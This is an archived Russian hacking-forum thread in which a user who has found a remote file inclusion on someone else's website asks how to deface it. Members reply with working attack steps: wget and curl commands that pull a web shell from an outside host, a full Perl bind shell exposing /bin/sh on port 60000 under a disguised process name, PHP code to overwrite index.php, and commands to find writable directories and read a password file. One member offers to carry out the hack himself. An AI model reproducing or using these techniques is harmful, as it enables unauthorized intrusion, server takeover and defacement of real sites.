PDA

Просмотр полной версии : Не работает system("echo Hacked > index.php");


blackbarrie
19.08.2007, 16:14
Нашёл на сайте удалённый инклуд. Могу подключать и выполнять любые PHP скрипты. Но есть одно но
Я не могу на том сервере создавать и писать в файлы
system("echo Hacked > index.php"); не работает. Через fopen("index.php", "w") тоже ессно ничего не выходит :mad:
Как можно это обойти?

И вопрос в догонку:
Как мне получить список файлов каталога, который находится на порядок выше?
echo system("cd ../");
$cmd = "ls";
echo "command: <b>" . $cmd . "</b><br>";
echo system($cmd);
не работает...

n1†R0x
19.08.2007, 16:34
system() может быть запрещено использовать сервером
по поводу fopen() - это уже странно.. ты уверен, что прав хватает? я сомневаюсь...

blackbarrie
19.08.2007, 16:46
system разрешён. потому как
$cmd = "ls";
echo "command: <b>" . $cmd . "</b><br>";
echo system($cmd); выполняется на ура.
А вот то что прав не хватает - скорее оно так и есть. Что можно предпринять в этом случае?

ShAnKaR
19.08.2007, 16:55
проинклудь шел какойнить и посмотри

blackbarrie
19.08.2007, 17:22
Пытался проинклудить r57shell, но в итоге получаю пустую страницу...

Termin@L
19.08.2007, 17:31
Нашёл на сайте удалённый инклуд. Могу подключать и выполнять любые PHP скрипты. Но есть одно но
Я не могу на том сервере создавать и писать в файлы
system("echo Hacked > index.php"); не работает. Через fopen("index.php", "w") тоже ессно ничего не выходит :mad:
Как можно это обойти?

И вопрос в догонку:
Как мне получить список файлов каталога, который находится на порядок выше?
echo system("cd ../");
$cmd = "ls";
echo "command: <b>" . $cmd . "</b><br>";
echo system($cmd);
не работает...
Не понял, зачем использовать echo c system(). Результат она и так на экран выводит.
Команда для листинга верхнего каталога -
ls /../

blackbarrie
19.08.2007, 17:34
Опа, спасибо... а я пытался сделать system("ls ../"); :)
Не понял, зачем использовать echo c system(). Результат она и так на экран выводит. :rolleyes: буду знать :)

Но всё же, как задефейсить в данном случае? :)

Termin@L
19.08.2007, 17:42
С помощью качалки стоящей на сервере скачиваешь полноценный шелл - это либо wget, curl и т.д. если не стоит ничего есть команда lwp-mirror, почитай вобще в гуглу
что-то типа - system('wget http://shell.php')

+toxa+
19.08.2007, 17:48
unlink('index.php');
$data='Hekked';
$fp=fopen('./index.php','wb');
fputs($fp,$data);
fclose($fp);

blackbarrie
19.08.2007, 18:10
Выполняю комманду system('wget http://site/shell.txt'), а потом system('ls')
Изменений не видно...

blackbarrie
19.08.2007, 18:13
unlink('index.php');
$data='Hekked';
$fp=fopen('./index.php','wb');
fputs($fp,$data);
fclose($fp);

Я делаю так
$data='Hekked';
$fp=fopen('./site.php','wb');
fputs($fp,$data);
fclose($fp);

Вот что получаю...
Warning: fopen(./site.php) [function.fopen]: failed to open stream: Permission denied in http://site/hack on line 3

Warning: fputs(): supplied argument is not a valid stream resource in http://site/hack on line 4

Warning: fclose(): supplied argument is not a valid stream resource in http://site/hack on line 5

Basurman
19.08.2007, 18:13
А откуда ты его wget'ишь? :) у вгета 2 параметра: куда и откуда

Складируй файлы туда, куда доступ открыт. Смайлы или аватары, или хз что там еще может быть

blackbarrie
19.08.2007, 18:17
Теперь делаю так
system('wget shell.php http://site/shell.txt'); Всё равно ничего не заливается :(

Basurman
19.08.2007, 18:19
ls -la и посмотри куда доступ есть

blackbarrie
19.08.2007, 18:25
Везде стоит drwxr-xr-x или -rw-r--r--
Что должно стоять, что бы был доступ? :rolleyes:

Добавлено
Вот полный список директории, в которой находится сайт

total 67
drwxr-x--- 18 user nobody 1024 Feb 6 2007 .
drwx--x--x 11 user user 1024 Aug 11 01:59 ..
-rw-r--r-- 1 user user 356 May 15 2006 .htaccess
drwxr-xr-x 2 user user 1024 Jan 25 2007 CEPF
drwxr-xr-x 2 user user 1024 Jan 25 2007 CEU
-rw-r--r-- 1 user user 3862 Jan 25 2007 CFCintro2new.html
drwxr-xr-x 3 user user 1024 Jan 25 2007 CPFC
drwxr-xr-x 2 user user 1024 Jan 25 2007 Center
drwxr-xr-x 2 user user 1024 May 15 2006 _private
drwxr-xr-x 4 user user 1024 May 15 2006 _vti_bin
drwxr-xr-x 2 user user 1024 Jan 25 2007 _vti_cnf
-rw-r--r-- 1 user user 1754 May 15 2006 _vti_inf.html
drwxr-xr-x 2 user user 1024 May 15 2006 _vti_log
drwxr-x--- 2 user nobody 1024 May 16 2006 _vti_pvt
drwxr-xr-x 2 user user 1024 May 15 2006 _vti_txt
drwxr-xr-x 2 user user 1024 May 15 2006 cgi-bin
-rw-r--r-- 1 user user 518 Jan 30 2007 error_log
drwxr-xr-x 10 user user 1024 Jan 25 2007 user
drwxr-xr-x 3 user user 1024 Jan 25 2007 images
-rw-r--r-- 1 user user 4216 Feb 6 2007 index.php
-rw-r--r-- 1 user user 2700 Jan 25 2007 intro2new.html
-rw-r--r-- 1 user user 2356 Jan 25 2007 intro3.html
drwxr-xr-x 2 user user 1024 Jan 25 2007 legal
-rw-r--r-- 1 user user 22063 Jan 25 2007 menubar2.html
-rw-r--r-- 1 user user 2447 May 15 2006 postinfo.html
-rw-r--r-- 1 user user 312 Jan 25 2007 site_map.txt
-rw-r--r-- 1 user user 2158 Jan 25 2007 start.html
drwxr-xr-x 2 user user 1024 Feb 6 2007 style
drwxr-xr-x 10 user user 1024 Jan 30 2007 test

Basurman
19.08.2007, 18:31
wget,get,curl,lynx,links ?

wget может быть отключен

blackbarrie
19.08.2007, 18:33
phpinfo() говорит о том что cURL включён.
Как закачать файл через get,curl,lynx,links или где мне об этом можно почитать?

Basurman
19.08.2007, 18:42
http://php.fud.ru/ там curl поищи.
lynx это бровсер

drwx--x--x 11 user user 1024 Aug 11 01:59 ..

Есть там еще .htaccess - должно быть интересно внутри

blackbarrie
19.08.2007, 18:51
Вот содержимое .htaccess
# -FrontPage- IndexIgnore .htaccess */.??* *~ *# */HEADER* */README* */_vti* order deny,allow deny from all allow from all order deny,allow deny from all AuthName www.site.org AuthUserFile /home/user/public_html/_vti_pvt/service.pwd AuthGroupFile /home/user/public_html/_vti_pvt/service.grp

blackbarrie
19.08.2007, 18:56
При попытке прочитать service.pwd получаю
Warning: readfile() [function.readfile]: open_basedir restriction in effect. File(/home/user/public_html/_vti_pvt/service.pwd) is not within the allowed path(s): (/home/user/:/usr/lib/php:/usr/local/lib/php:/tmp) in http://mysite/shell on line 16

Warning: readfile(/home/user/public_html/_vti_pvt/service.pwd) [function.readfile]: failed to open stream: Operation not permitted in http://mysite/shell on line 16

blackbarrie
19.08.2007, 18:59
А вот результат выполнения ls -la /../
total 1644
drwxr-xr-x 25 root root 1024 Aug 19 01:28 .
drwxr-xr-x 25 root root 1024 Aug 19 01:28 ..
-rw-r--r-- 1 root root 0 Aug 17 08:36 .autofsck
-rw------- 1 root root 1164 Mar 17 2006 .bash_history
drwxr-xr-x 3 root root 1024 Dec 17 2004 .cpan
-rw------- 1 root root 0 Apr 11 2005 .mysql_history
-rw------- 1 root root 1024 May 20 2006 .rnd
drwx------ 2 root root 1024 Mar 31 08:10 .screen
drwx------ 2 root root 1024 Dec 17 2004 .spamassassin
-rw------- 1 root root 1043 Aug 2 15:22 .viminfo
lrwxr-xr-x 1 root root 39 Aug 17 08:36 aquota.group -> /proc/vz/vzaquota/0000000f/aquota.group
lrwxr-xr-x 1 root root 38 Aug 17 08:36 aquota.user -> /proc/vz/vzaquota/0000000f/aquota.user
drwxr-xr-x 2 root root 1024 Dec 17 2004 backup
drwxr-xr-x 2 root root 2048 Dec 16 2006 bin
drwxr-xr-x 2 root root 1024 Dec 17 2004 boot
drwxr-xr-x 5 root root 9216 Aug 17 08:37 dev
-rw-r--r-- 1 root root 396094 Aug 17 14:40 error_log
drwxr-xr-x 48 root root 5120 Aug 19 09:00 etc
drwx--x--x 199 root root 5120 Aug 19 01:30 home
drwx--x--x 71 root root 4096 Aug 8 14:10 home2
drwxr-xr-x 2 root root 1024 Oct 7 2003 initrd
drwxr-xr-x 8 root root 3072 Dec 16 2006 lib
drwx------ 2 root root 6144 Oct 15 2005 mbox_backup
drwxr-xr-x 2 root root 1024 Oct 7 2003 mnt
drwxr-xr-x 3 root root 1024 May 15 2006 opt
drwxrwxrwx 12 root root 755712 Jul 13 12:20 php-cache
dr-xr-xr-x 429 root root 0 Aug 17 08:36 proc
-rw-r--r-- 1 root root 5206 Jan 30 2007 ps.out
drwxr-x--- 20 root root 2048 Aug 19 01:24 root
drwxr-xr-x 3 root root 2048 Dec 19 2005 sbin
drwxr-xr-x 5 root root 13312 Aug 19 01:25 scripts
-rw------- 1 root root 1024 Nov 29 2004 stunnel.rnd
drwxrwxrwt 14 root root 442368 Aug 19 09:00 tmp
drwxr-xr-x 17 root root 1024 Dec 17 2004 usr
drwxr-xr-x 19 root root 1024 Aug 17 08:37 var

blackbarrie
19.08.2007, 19:01
google.com:
Не найдено ни одного документа, соответствующего запросу inurl:"php.fud.ru" curl.

SanyaX
19.08.2007, 19:03
Попробуй создать папка. mkdir name_papla.
Потом поставь права 777. chmod 777 name_papka
Потом проверь сущевствуют ли вощ качалки. С помощью команды which.
Пример:which wget
Если покажет путь до wget'a то значит он сущевствует. А если не чего не появится, значит качалки не сущевствует.

Basurman
19.08.2007, 19:03
Еще написать как пользоваться гуглом?

blackbarrie
19.08.2007, 19:07
Еще написать как пользоваться гуглом?
Спасибо, ненадо :)
Уже нашёл про curl и изучаю. Просто на том сайте, что вы мне дали - нет этого материала...
Насколько я понял, curl закачивает по ftp?

fly
19.08.2007, 19:09
curl --output /ПУТЬ_ДО_ЗАКАЧИВАЕМОГО_ФАЙЛ /SHELL.PHP http://XOST.COM/SHELL.TXT
ПРОВЕРЬ КОМАНДОЙ find . -type d -perm -2 -ls В КАКИЕ ПАПКИ МОЖНО ПИСАТЬ.
Я бы на твоем месте сделал так. Создал бы перловый сценарий вида system("cd /home;find . -type d -perm -2 -ls!!!!!!!!!!!

blackbarrie
19.08.2007, 19:11
wget стоит
/usr/bin/wget

Папку создать не хватает прав... :(

blackbarrie
19.08.2007, 19:13
а по запросу system("cd /home;find . -type d -perm -2 -ls") ничего не выдаётся...

fly
19.08.2007, 19:14
или просто залей back.pl в tmp и выполни. Сценарий system("cd /tmp;curl --output /tmp/b.pl http://narod.ru/b.pl";perl b.pl);

CODE b.pl:


#!/usr/bin/perl

use Socket;

$port = 60000;
$proto = getprotobyname('tcp');
$cmd = "lpd";
$system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh';

$0 = $cmd;

socket(SERVER, PF_INET, SOCK_STREAM, $proto)
or die "socket:$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))
or die "setsockopt: $!";
bind(SERVER, sockaddr_in($port, INADDR_ANY))
or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";

for(; $paddr = accept(CLIENT, SERVER); close CLIENT)
{
open(STDIN, ">&CLIENT");
open(STDOUT, ">&CLIENT");
open(STDERR, ">&CLIENT");

system($system);

close(STDIN);
close(STDOUT);
close(STDERR);
}

fly
19.08.2007, 19:16
Кинь в личку линк! Все сделаю!

blackbarrie
19.08.2007, 19:23
Кинь в личку линк! Все сделаю!
Отправил

The_HuliGun
19.08.2007, 23:05
Чего вы все так паритесь? Разве после слов

Выполняю комманду system('wget http://site/shell.txt'), а потом system('ls')
Изменений не видно...

не видно, что у ТС тупо не хватает прав на запись в диру, а значит он точно не правах пользователя user, что значит, что изменить файл index.php ему не удасться никак (вопрос был как задефейсить сайт).
Выход один - рутать сервак, а ето для ТС видимо еще рановато...

fly
20.08.2007, 00:41
Он зарутал.!)

Spyder
20.08.2007, 00:43
Команда для листинга верхнего каталога -
ls /../
команда для листинга верхнего каталога ../ , и не надо ля-ля)
ls /../ можно заменить на ls / - этой командой ты выполняешь листинг корня =\
а по запросу system("cd /home;find . -type d -perm -2 -ls") ничего не выдаётся...
find / -type d -perm -2 -ls
или если ты хочешь найти папки на запись именно в каталоге /home, то выполняй
find /home -type d -perm -2 -ls
и не надо ставить cd /home =\\\

fly
20.08.2007, 00:56
Да это чувак , который вопрос задал молодой еще и не заинклудил как надо(для таких r57 самое то). Я ему заинклудил уже.

+toxa+
20.08.2007, 11:26
Я делаю так
$data='Hekked';
$fp=fopen('./site.php','wb');
fputs($fp,$data);
fclose($fp);

Вот что получаю...
Warning: fopen(./site.php) [function.fopen]: failed to open stream: Permission denied in http://site/hack on line 3

Warning: fputs(): supplied argument is not a valid stream resource in http://site/hack on line 4

Warning: fclose(): supplied argument is not a valid stream resource in http://site/hack on line 5
Попробуй перед всем кодом поставить

chmod('./index.php', 0777);